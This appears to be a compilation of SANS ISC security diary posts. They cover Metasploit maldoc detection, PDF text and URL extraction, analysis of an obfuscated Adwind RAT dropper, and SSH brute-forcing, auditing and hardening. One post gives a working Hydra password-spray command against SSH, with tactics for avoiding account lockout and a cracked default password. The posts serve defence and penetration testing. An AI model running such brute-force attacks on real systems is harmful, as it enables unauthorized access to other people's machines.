Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-11-06

Metasploit's Maldoc

I often write posts and make videos on malicious document analysis, that I post here and on my blog.

Here is another video on malicious Office document analysis (a .docm file), but with a twist: this maldoc was created with Metasploit module office_word_macro.

.docm files created with this module embed a payload (a Windows executable) as a BASE64 encoded property of the Word document. So it is rather easy to extract the payload: just extract the BASE64 code from the XML file and decode it.

Detecting these documents is not that difficult: this Metasploit module always uses the same VBA code. The ole file that contains the macros, vbaProject.bin, is not modified when it is embedded in a .docx file to create a .docm file.

So it's always the same file, and that makes it detectable. If you are interested, I have YARA rules and ClamAV signatures here.

Of course, these signatures will work with the current version of the Metasploit module, there is no guarantee for future versions.


Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com


Published: 2017-11-05

Extracting the text from PDF documents

In my previous diary entry, we looked at a phishing PDF and extracted the URLs.

But what if you want to look at the message contained in the PDF without opening it? There are several tools (online and offline) that can convert PDF documents to text.

It can also be done with my pdf-parser.py tool, but we need to know a bit of PDF internals.

First we search for objects that are pages:

Object 5 is a page, and the content of the page is in object 65 (/Contents 65 0 R).

It contains a compressed stream, let's decompress it:

Text can be rendered on a PDF page using "text-showing operators" like Tj and TJ. Tj takes a string as argument, and TJ a list of strings and integers. If you take a close look at the screenshot above, you will find the TJ operator preceded by a list of strings. It's not that easy to see though, so let's grep for TJ:

A list is represented with square brackets [], and a string with parentheses ().

[( )] TJ instructs the PDF reader to draw a space character on the page. This is a postfix language: the operands are placed before the operator. [( )] is the operand and TJ is the operator. [( )] is a list of strings, containing just one string ( ).

[(D)4(e)7(a)9(r)-18( )30(Cu)27(s)39(t)-15(o)-18(m)23(e)7(r)-18(,)] TJ instructs the PDF reader to draw a text "Dear Customer," on the page. Each letter is found inside a string () in this list, and the integers indicate the amount of space to leave between each letter.

If we extract all the letters from the strings and concatenate them, we can extract the text:

Using regular expression \(.+?\) we can select all strings, but we want the content of the string, not the string itself. We can achieve this with my re-search.py tool and regular expression \((.+?)\). re-search.py searches through (text) files using a regular expression, and outputs all matches. If you define a capture group () inside a regular expression, then re-search will output the content of the capture group, and not the complete match.

This will output each character on a line, and we use tr to remove all newlines and thus join all characters in one big line.


This method is not practical of course, it's only to be used if automatic conversion tools can not be used.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com


Published: 2017-11-04

PDF documents & URLs

These days, when I receive a suspect PDF document, it's rare that it contains malicious code, but it will rather be a phishing or other social engineering attack. Such PDFs often contain URLs that can be clicked.

URLs can be included in PDF documents using the /URI name. I recently updated my pdfid.py tool to report /URI names too:

In this screenshot, you can also see the use of a plugin (-p plugin_triage). The purpose of this plugin is to help less experienced malware analyst to triage PDF documents, by assigning a score and providing instructions.

With my pdf-parser.py tool, we can extract the URLs like this:


Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com


Published: 2017-11-03

Simple Analysis of an Obfuscated JAR File

Yesterday, I found in my spam trap a file named '0.19238000 1509447305.zip’ (SHA256: 7bddf3bf47293b4ad8ae64b8b770e0805402b487a4d025e31ef586e9a52add91). The ZIP archive contained a Java archive named '0.19238000 1509447305.jar’ (SHA256: b161c7c4b1e6750fce4ed381c0a6a2595a4d20c3b1bdb756a78b78ead0a92ce4). The file had a score of 0/61 in VT[1] and looks to be a nice candidate for a quick analysis.

.jar files are ZIP archives that contain compiled Java classes and a Manifest file that points to the initial class to load. Let’s decompile the classes. To achieve this, I'm using a small Docker container:

$ docker run --rm -ti -v /tmp:/data -w /data jgiannuzzi/jd-cmd "0.19238000 1509447305.jar"
10:50:31.807 INFO  jd.cli.Main - Decompiling foo.jar
10:50:31.829 INFO  jd.core.output.ZipOutput - ZIP file output will be initialized - 0.19238000 1509447305.src.jar
10:50:34.095 INFO  jd.core.output.ZipOutput - Finished with 81 class file(s) and 8 resource file(s) written.

It generates a new ZIP file "/tmp/0.19238000 1509447305.src.jar”. Let’s unzip it:

$ unzip "/tmp/0.19238000 1509447305.src.jar”
Archive:  /tmp/0.19238000 1509447305.src.jar
  inflating: q945/q94827/q48/q7164/q90729/q37/q72547/Q3829054919394.java
$ cd q945
Manifest-Version: 1.0
Ant-Version: Apache Ant 1.8.0
Created-By: ZDXsPvlJoPPtiYqDvNmsTQsYFVhbEhXtWdfIEqiMhWB
Main-Class: q945.q94827.q48.q81736.q36.q63837.q09.Q6361728063815

You can see that the main class is located in a bunch of sub-directories with random names:

$ tree -d -n -A .
+-- q94827
    +-- q48
    |   +-- q71616
    |   |   +-- q15390
    |   |   |   +-- q637
    |   |   |   |   +-- q27
    |   |   |   |   +-- q39
    |   |   |   |   +-- q70738
    |   |   |   +-- q82737
    |   |   |   |   +-- q35152
    |   |   |   |   +-- q38374
    |   |   |   |   +-- q74736
    |   |   |   +-- q84
    |   |   |       +-- q06364
    |   |   |       +-- q08
    |   |   |       +-- q61725
    |   |   +-- q46390
    |   |   |   +-- q61
    |   |   |   |   +-- q17053
    |   |   |   |   +-- q26
    |   |   |   |   +-- q73
    |   |   |   +-- q73516
    |   |   |   |   +-- q17490
    |   |   |   |   +-- q39
    |   |   |   |   +-- q60
    |   |   |   +-- q92626
    |   |   |       +-- q45064
    |   |   |       +-- q48254
    |   |   |       +-- q74926
    |   |   +-- q80948
    |   |       +-- q192
    |   |       |   +-- q45
    |   |       |   +-- q52949
    |   |       |   +-- q94648
    |   |       +-- q37082
    |   |       |   +-- q09
    |   |       |   +-- q52815
    |   |       |   +-- q90916
    |   |       +-- q38084
    |   |           +-- q06
    |   |           +-- q51
    |   |           +-- q63908
    |   +-- q7164
    |   |   +-- q35173
    |   |   |   +-- q6271
    |   |   |   |   +-- q08
    |   |   |   |   +-- q35
    |   |   |   |   +-- q748
    |   |   |   +-- q74
    |   |   |   |   +-- q36
    |   |   |   |   +-- q38181
    |   |   |   |   +-- q81
    |   |   |   +-- q93
    |   |   |       +-- q0919
    |   |   |       +-- q37
    |   |   |       +-- q70916
    |   |   +-- q462
    |   |   |   +-- q62505
    |   |   |   |   +-- q05
    |   |   |   |   +-- q38
    |   |   |   |   +-- q64
    |   |   |   +-- q83548
    |   |   |   |   +-- q17073
    |   |   |   |   +-- q49
    |   |   |   |   +-- q70
    |   |   |   +-- q91
    |   |   |       +-- q0719
    |   |   |       +-- q16
    |   |   |       +-- q63816
    |   |   +-- q90729
    |   |       +-- q09162
    |   |       |   +-- q45160
    |   |       |   +-- q82
    |   |       |   +-- q84729
    |   |       +-- q180
    |   |       |   +-- q36053
    |   |       |   +-- q81
    |   |       |   +-- q83738
    |   |       +-- q37
    |   |           +-- q29473
    |   |           +-- q72547
    |   |           +-- q80
    |   +-- q81736
    |       +-- q05
    |       |   +-- q539
    |       |   |   +-- q0717
    |       |   |   +-- q49484
    |       |   |   +-- q80608
    |       |   +-- q62
    |       |   |   +-- q0548
    |       |   |   +-- q2849
    |       |   |   +-- q94605
    |       |   +-- q64836
    |       |       +-- q08371
    |       |       +-- q36
    |       |       +-- q71846
    |       +-- q36
    |       |   +-- q63837
    |       |   |   +-- q07151
    |       |   |   +-- q09
    |       |   |   +-- q90849
    |       |   +-- q91806
    |       |   |   +-- q17184
    |       |   |   +-- q46380
    |       |   |   +-- q639
    |       |   +-- q92747
    |       |       +-- q18381
    |       |       +-- q45371
    |       |       +-- q54645
    |       +-- q808
    |           +-- q08
    |           |   +-- q16064
    |           |   +-- q51727
    |           |   +-- q93626
    |           +-- q39293
    |           |   +-- q35
    |           |   +-- q52519
    |           |   +-- q84
    |           +-- q47463
    |               +-- q39453
    |               +-- q62835
    |               +-- q90838
    +-- q51728
        +-- q16362
            +-- q93525
                +-- q07462
                |   +-- q3945
                |   +-- q50
                |   +-- q82
                +-- q25
                    +-- q08474
                    +-- q61
                    +-- q747

The application is split into many small files:

$ find . -name '*.java' -print

While checking the decompiled code, we can see that the code is obfuscated. Object arrays are used to handle all objects:

public class Q0519450845491
  public static void q6481539083819()
    throws Exception
    q945.q94827.q48.q7164.q35173.q6271.q748.Q1939262939093.Q8281525151616[24] = q945.q94827.q48.q7164.q35173.q6271.q35.Q5481726151615.Q3846063949292[36].getMethods();

The code includes cryptographic functions:

q945.q94827.q48.q7164.q35173.q74.q38181.Q6280839171619.Q3538251949294[37] = Cipher.getInstance("AES");

The archive contains encrypted files

$ file ./q945/q94827/q48/q81736/q36/q63837/q07151/Q7191626053917
./q945/q94827/q48/q81736/q36/q63837/q07151/Q7191626053917: data

When executed in a sandbox, the following files are created:

_0.57007632454940891986287463537679385.class (SHA256: 97d585b6aff62fb4e43e7e6a5f816dcd7a14be11a88b109a9ba9e8cd4c456eb9)[2
Windows4710937619573808871.dll (SHA256: 7da7e2e66b5b79123f9d731d60be76787b6374681e614099f18571a4c4463798)[3]

This is the Adwind RAT[4]. In my case, the sandbox established a connection to the following C2 server located in Poland: %%ip: While looking at the SSL certificate, I found a reference to an old blog post written by Brad in 2015[5]:

commonName = assylias
organizationName = assylias.Inc

As you can see, even if the files belonging to the RAT are known for a while and detected by many antivirus vendors, the dropper remains undetected!

[1] https://www.virustotal.com/en/file/b161c7c4b1e6750fce4ed381c0a6a2595a4d20c3b1bdb756a78b78ead0a92ce4/analysis/1509448583/
[2] https://www.virustotal.com/en/file/97d585b6aff62fb4e43e7e6a5f816dcd7a14be11a88b109a9ba9e8cd4c456eb9/analysis/
[3] https://www.virustotal.com/en/file/7da7e2e66b5b79123f9d731d60be76787b6374681e614099f18571a4c4463798/analysis/
[4] https://www.cyphort.com/threat-insights/adwind-rat/
[5] http://www.malware-traffic-analysis.net/2015/08/06/index.html

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-11-02

Attacking SSH Over the Wire - Go Red Team!

So, now that we've talked about securing SSH and auditing SSH over the last few days, how about attacking SSH?

A primary method is to simply brute force hosts that have userid/password authentication enabled.  Hydra and Medusa both have nice interfaces for this.  I like using Hydra for this - it allows you to do a password "spray" attack.  A spray attack takes each password on th list, and tries it against each userid on the list (ie - loop the password first, then the userid) - this tends to "space out" the attempts per account, and so allows you to reduce the risk of account lockouts.

Hydra syntax options include (run hydra with no options for the help text):

  -R        restore a previous aborted/crashed session
  -I        ignore an existing restore file (don't wait 10 seconds)
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -y        disable use of symbols in bruteforce, see above
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -o FILE   write found login/password pairs to FILE instead of stdout
  -b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -T TASKS  run TASKS connects in parallel overall (for -M, default: 64)
  -w / -W TIME  wait time for a response (32) / between connects per thread (0)
  -c TIME   wait time per login attempt over all threads (enforces -t 1)
  -4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -O        use old SSL v2 and v3
  -q        do not print messages about connection errors
  -U        service module usage details
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

As you can see, you can use this tool to attack a boatload of different services, with a lot of ways to slice and dice the attack.

I'll start with a standard userid and password list - this list covers several defaults from over the years and across multiple vendors.  A more complete list can be found at http://www.defaultpassword.com

file users.in:

file passwords.in:

Both Hydra and Medusa are installed on Kali, I'll try Hydra against an example service here:

root@kali:~/sshwork# hydra -L users.in -P passwords.in -t 2 ssh://
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-10-31 23:19:54
[DATA] max 2 tasks per 1 server, overall 2 tasks, 24 login tries (l:4/p:6), ~12 tries per task
[DATA] attacking ssh://
[22][ssh] host:   login: admin   password: L3tM31n!
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-10-31 23:20:02

Yes, it's as simple as that!  Of course, it's only as good as the device administrator's poor choice of passwords - but as a pentester, I tend to see default passwords all the time - I'd say maybe in half the tests I run I'll find at least one network, server management or storage device with default credentials of some kind.  This device then often gets me the man in the middle position to collect more info or more info to pivot on to the next thing.  That's better odds than Vegas - a quick password test against a list of defaults is a must-do for any exposed services!

This also means that having an SSH service exposed to the internet with userid / password authentication is a very bad idea.  Without exception, any client device I've seen in this situation either has months of brute force attempts in their logs, is was compromised months or years ago.  If you must have SSH service on the internet, please (please please) implement that with keys or 2FA (two factor authentication).  This was bad enough when the source IP's indicated "kids in university", but now-a-days the source addresses for these attacks are often other compromised hosts, and the compute power of the hosts are being used for currency mining or other "revenue generation" bot-schemes.

Really this same advice should be considered for any service on the internet.  If you are protected only by a userid and password for your mail, web or VPN services, really I'd consider that to be an easy target also (yes, we'll talk about OWA next week, stay tuned).  For a catch-all, "fix-them-all" solution, two factor or multi-factor authentication goes a long way.  2FA / MFA at least prevents the easy brute forcing tools from succeeding (if the attacker has days, weeks or months to put into the effort, which they absolutely do).

And yes, you can attack SSH with MiTM (Monkey in the Middle / Man in the Middle) methods - but that's a topic for another day!  (so is key based authentication)

If you've found "something good" during an assessemet or pentest, please do share a (sanitized) war story using our comment form!  That is, if your NDA allows :-)

Rob VandenBrink


Published: 2017-11-02

Auditing SSH Settings (some Blue Team, some Red Team)

Yesterday we discussed revisiting SSH configurations and updating settings.  Now that this is done across your organization (just kidding), how will you audit this.  In particular, what about hosts that you don’t know are there, or that you don’t know are running SSH?

For starters, nmap makes a great audit tool.  A simple scan for port 22 will look like this:

nmap –p 22 –Pn --open x.x.x0/24

(note that this only probes port 22, you might want to add 222 or 2222 or 2323 – or even scan all of 1-65535, and look for SSH on other ports)

A more useful scan though will give you information on the services (-sV) and OS (-O):

nmap –p 22 –Pn --open –sV –O x.x.x0/24

If you have thousands of hosts to assess, you can look at MASSCAN instead of nmap to get the initial “find the open ports” scan job done quicker.  While MASSCAN will do the initial scan at blinding speed, Nmap and other tools will do a better job once you start asking for more complex output.

Or, looking for SSH version 1 servers:

nmap –p 22 –Pn –open x.x.x.0/24 –script sshv1.nse


Or even more useful, just pull the ciphers supported in the target SSH servers:

nmap –p 22 –Pn –open x.x.x.0/24 –script ssh2-enum-algos.nse


A tool that I’ve been playing with the last week or so goes one better.  Ssh-scan assesses the target host, then dumps it’s ciphers and the config bits that it can deduce remotely, then gives you recommendations based on policies (some default policies are included with the tool).   This is by no means the only SSH scanner out there, there are certainly dozens of similar tools, ssh_scan is just a new one that popped up in my Twitter feed this past month.  Tools like Nessus or OpenVAS will also do a good job on these assessments (try one against the next against the next, let us know what you see!)

Ssh_scan is extremely easy to install – on Kali (or almost any Linux distro with Ruby installed), simply run:

gem install ssh_scan

Their site also has instructions to run this in Docker.

A scan of a typical host (an ESXi with a default SSH config) might look like this (note the recommendations section, in red)

#ssh_scan -t
    "ssh_scan_version": "0.0.29",
    "ip": "",
    "hostname": "",
    "port": 22,
    "server_banner": "SSH-2.0-OpenSSH_5.6",
    "ssh_version": 2.0,
    "os": "unknown",
    "os_cpe": "o:unknown",
    "ssh_lib": "openssh",
    "ssh_lib_cpe": "a:openssh:openssh:5.6",
    "key_algorithms": [
    "encryption_algorithms_client_to_server": [
    "encryption_algorithms_server_to_client": [
    "mac_algorithms_client_to_server": [
    "mac_algorithms_server_to_client": [
    "compression_algorithms_client_to_server": [
    "compression_algorithms_server_to_client": [
    "languages_client_to_server": [

    "languages_server_to_client": [

    "auth_methods": [
    "fingerprints": {
      "dsa": {
        "known_bad": "false",
        "md5": "65:98:f9:e9:94:00:e4:21:d8:5a:d8:4e:b3:aa:d5:32",
        "sha1": "d8:c3:8b:da:3f:37:7e:f7:a3:d6:36:10:37:f5:6a:8d:df:e6:74:84",
        "sha256": "21:b0:70:98:0c:e3:1b:77:b3:fc:01:7c:dc:99:6a:ea:a9:57:f1:ef:90:8c:80:01:3e:17:6b:1e:51:22:c9:5a"
      "rsa": {
        "known_bad": "false",
        "md5": "c4:6c:3b:22:f7:60:9a:57:9e:a1:df:84:66:53:15:92",
        "sha1": "ed:f4:d9:37:a6:be:8d:fc:de:dd:2a:68:a0:7e:08:cb:97:58:2c:d9",
        "sha256": "2b:37:be:45:7c:9c:c3:51:eb:15:54:97:54:9b:ab:6d:81:73:a1:94:66:62:e1:9b:4a:92:13:d7:92:f6:1d:84"
    "duplicate_host_key_ips": [

    "compliance": {
      "policy": "Mozilla Modern",
      "compliant": false,
      "recommendations": [
        "Add these key exchange algorithms: curve25519-sha256@libssh.org,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256",
        "Add these MAC algorithms: hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,umac-128@openssh.com",
        "Add these encryption ciphers: chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com",
        "Remove these key exchange algorithms: diffie-hellman-group-exchange-sha1, diffie-hellman-group14-sha1, diffie-hellman-group1-sha1",
        "Remove these MAC algorithms: hmac-sha1, hmac-sha1-96",
        "Remove these encryption ciphers: 3des-cbc",
        "Remove these authentication methods: keyboard-interactive"

      "references": [
    "start_time": "2017-10-30 09:17:24 -0400",
    "end_time": "2017-10-30 09:17:25 -0400",
    "scan_duration_seconds": 1.034291524

Note the recommendations section.  On ESXi especially, if you combine this with the advice from VMware and the CIS Hardening Guide, the guidance really boils down to “why did you enable SSH on that box anyway?” – for vSphere, really you are better off to use the API to script against the environment (which is usually why people enable SSH on that platform)

In another example, scanning a pfSense firewall (just the recommendations shown):
    "compliance": {
      "policy": "Mozilla Modern",
      "compliant": false,
      "recommendations": [
        "Add these key exchange algorithms: ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256",
        "Remove these MAC algorithms: hmac-ripemd160-etm@openssh.com, hmac-ripemd160",
        "Remove these authentication methods: password, keyboard-interactive"
      "references": [

Here we see that the recommendations include removal of the default “password, keyboard interactive” authentication (in other words, go to keys for authentication instead of userid/password), as well as some SSH "tech" recommendations.

While you should scan everything with tools like Nessus or OpenVAS, the output from these tools can be a tidal wave of duplicate and overlapping advice.  You can certainly tune either product to give you pinpoint results, but that can be a bit of a job too.  If you are just looking to have a “fix SSH in my infrastructure” day, combining nmap and ssh_scan can give you “just the facts” to get the job done!

Have you worked with a different or maybe a better SSH audit tool?  Please, use our comment form and let us know!

If you book yourself a "fix my SSH services" day, and you're able to share some war stories, please also use that comment form!

Rob VandenBrink


Published: 2017-11-01

Securing SSH Services - Go Blue Team!!

As the world of the attacker evolves and new attacks are developed (Red Team), people in the world of defense sees a matching evolution in recommendations for securing various platforms and services (Blue Team).  It struck me as odd that we don’t see a lot of “high profile” changes in advice for SSH, so I did some digging.

The go-to document that many of us use for SSH security is NISTIR 7966 (http://nvlpubs.nist.gov/nistpubs/ir/2015/NIST.IR.7966.pdf).  That has lots of great recommendations, and is dated October 2015, so it’s 2 years old as of this post.

There are some great OPENSSH recommendations published here at mozilla.org: https://wiki.mozilla.org/Security/Guidelines/OpenSSH.  The latest commit on that project was Oct 19, so just 11 days ago – that’s about as current as it gets.

However, lots of the devices we work with don’t give us access to the OpenSSH config, so there’s a lot of translation to match up guidance to the command interface of this or that device.  Bettercrypto.org hosts a paper that does just this.  https://bettercrypto.org/static/applied-crypto-hardening.pdf

For instance, let’s look at Cisco IOS routers – mostly because the configuration is so simple, and I see so many of them that have silly configuration “misses” on the security side.  Most guidance for Cisco IOS routers suggests that you force SSHv2, add an access-list to limit access, and then stop there.  That config sequence would look like:

crypto key gen rsa gen mod 2048        ! generate the SSH key

login on-failure log                   ! log failed login attempts
login on-success log                   ! log successful login attempts


ip ssh version 2                       ! force SSHv2 (SSHv1.x is easily decrypted)

ip access-list standard ACL-MGT        ! Create an ACL to limit access

  permit ip x.x.x.0          ! permit access from management VLAN

  permit ip host x.x.x.y               ! or permit access from specific management hosts

deny ip any log                        ! log all other accesses  (you can log the successful ones too of course)


line vty 0 15                          ! note that some newer platforms have more than 15 VTY lines !!

transport input ssh                    ! restrict to SSH only (no telnet)

access-class ACL-MGT                   !  apply the ACL

However, combining advice from the various documents above, naming the key, increasing the key size and setting a client minimum all make good sense – this changes our config commads to:

crypto key generate rsa modulus 4096 label SSH-KEYS     ! name the keys.  This makes it easier to rotate keys without a "gap" in protection

ip ssh rsa keypair-name SSH-KEYS

ip ssh version 2

ip ssh dh min size 2048                                                                              ! set a minimum standard for a client to connect with (helps prevent downgrade attacks)

ip access-list standard ACL-MGT

 permit ip x.x.x.0                 ! permit access from management VLAN

 permit ip host x.x.x.y                      ! or permit access from specific management hosts

deny ip any log                              ! log all other accesses  (you can log the successful ones too of course)


line vty 0 15                                ! note that some newer platforms have more than 15 VTY lines !!

transport input ssh                          ! restrict to SSH only (no telnet)

access-class ACL-MGT                                                           ! apply the ACL

A Cisco ASA gives us a bit more control, where we can set the key exchange group.

crypto key generate rsa modulus 4096

ssh version 2

ssh key-exchange group dh-group14-sha1


ssh x.x.x.y m.m.m.0 inside            ! limits SSH access to specific hosts or subnets. (note the ACL is a subnet instead of a wildcard approach)

(I’d recommend NOT to enable ssh to any public interfaces – use a VPN connection, preferably with 2FA, then connect to the inside interface).

Rather than disable telnet on an ASA, you simply don’t grant access to it – be sure that there are no lines similar to:

telnet x.x.x.y m.m.m.m <interface name>

in your configuration.

Note that both the Cisco IOS platform and Cisco ASA support key based authentication in addition to standard userid/password authentication.  The advantage to this is that you can’t easily brute-force a key-based authentication interface – so that’s a very (very) good thing.  The disadvantage is that if an admin workstation is then compromised, the attacker is in the “all your keys are belong to us” situation – all they need is the keys, and the keys are usually helpfully named with the IP address or hostnames of the targets.  Or if you happen to be a vendor who’s put keys into a firmware image, that would mean all instances of your product everywhere are easy to pop.

This covers off some basic SSH configuration, but what about auditing this config?  (Stay tuned)

Rob VandenBrink